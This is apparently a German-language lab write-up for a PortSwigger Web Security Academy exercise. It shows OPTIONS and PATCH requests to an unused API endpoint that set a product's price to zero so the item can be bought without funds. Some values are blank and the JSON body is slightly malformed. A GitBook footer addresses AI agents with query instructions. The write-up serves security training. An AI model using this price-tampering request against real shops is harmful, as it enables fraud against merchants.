> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Entdeckung und Ausnutzung eines ungenutzten API-Endpunkts

Notizen zur Entdeckung und Ausnutzung eines ungenutzten API-Endpunkts für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Einen ungenutzten API-Endpunkt finden und ausnutzen

Das Ziel dieses Labs ist es, einen versteckten API-Endpunkt zu nutzen, um eine **Leichte l33t-Lederjacke** ohne ausreichende Mittel. / Die Authentifizierung erfolgt mit den folgenden Anmeldedaten:

* **Benutzer**: wiener
* **Passwort**: peter

Nach der Anmeldung beträgt das Kontoguthaben **$**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a706883d9a1335e46284274368994c49e448c4a%2F%7BDEF4CD5F-D9A7-4C30-8041-0B2E0557AC4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse des Anwendungsverhaltens

Beim Aufrufen des Produkts sendet die Anwendung im Hintergrund eine API-Anfrage, um den Preis abzurufen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-641379719a9d2d896f06f121d1be6a0b1506b4d0%2F%7BA8665895-7AA4-4251-A8EC-A5D903C7E446%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Zum Anzeigen des Preises verwendete Anfrage**

```bash
GET /api/products/1/price
```

**Serverantwort**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 21 left in stock, purchase quick! &#x1F525;"
}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea611cf17340ea2d34820ee485bd0385939a1631%2F%7B6A32BFEB-5926-4FC0-99C5-0073ABF50169%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ermittlung der verfügbaren HTTP-Methoden

A **OPTIONS** Anfrage wird gesendet, um die auf diesem Endpunkt erlaubten Methoden zu ermitteln.

**OPTIONS-Anfrage**

```bash
OPTIONS /api/products/1/price
```

**Antwort**

Der Server weist darauf hin, dass die folgenden Methoden erlaubt sind:

* GET
* PATCH

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e7b6c8d4304a2d2a5cc7ec549006784770af16f%2F%7B7432F854-7031-4986-A3C4-F3571D836381%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dies legt nahe, dass es möglich ist, **ändern** den Preis des Produkts per PATCH-Anfrage zu ändern.

#### Preisänderung per PATCH

Anschließend versuchen wir, den Preis des Produkts zu aktualisieren, indem wir eine PATCH-Anfrage mit einem JSON-Body senden.

**PATCH-Anfrage**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Serverantwort**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffe28488da1adc63eca98b4a29169d9e380fb79d%2F%7B96F4EFE9-2A36-4156-B0BC-1FAD266B378D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Preis des Produkts ist jetzt festgelegt auf **$**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ea8fa436db739c0df99ac89d0d4979974d74a7e%2F%7B75F8D4E9-2132-4379-88D1-2FCD5BB1CBF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Produktkauf

Sobald der Preis geändert wurde, ist es möglich, die **Leichte l33t-Lederjacke** trotz des fehlenden Guthabens auf dem Konto zu kaufen, wodurch das Lab verifiziert werden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fd22f6c6e13246d4c35188988c6b095be062ff6%2F%7B6CA3D3BD-1AB6-4BDD-B2FC-9EE6B6BA028E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
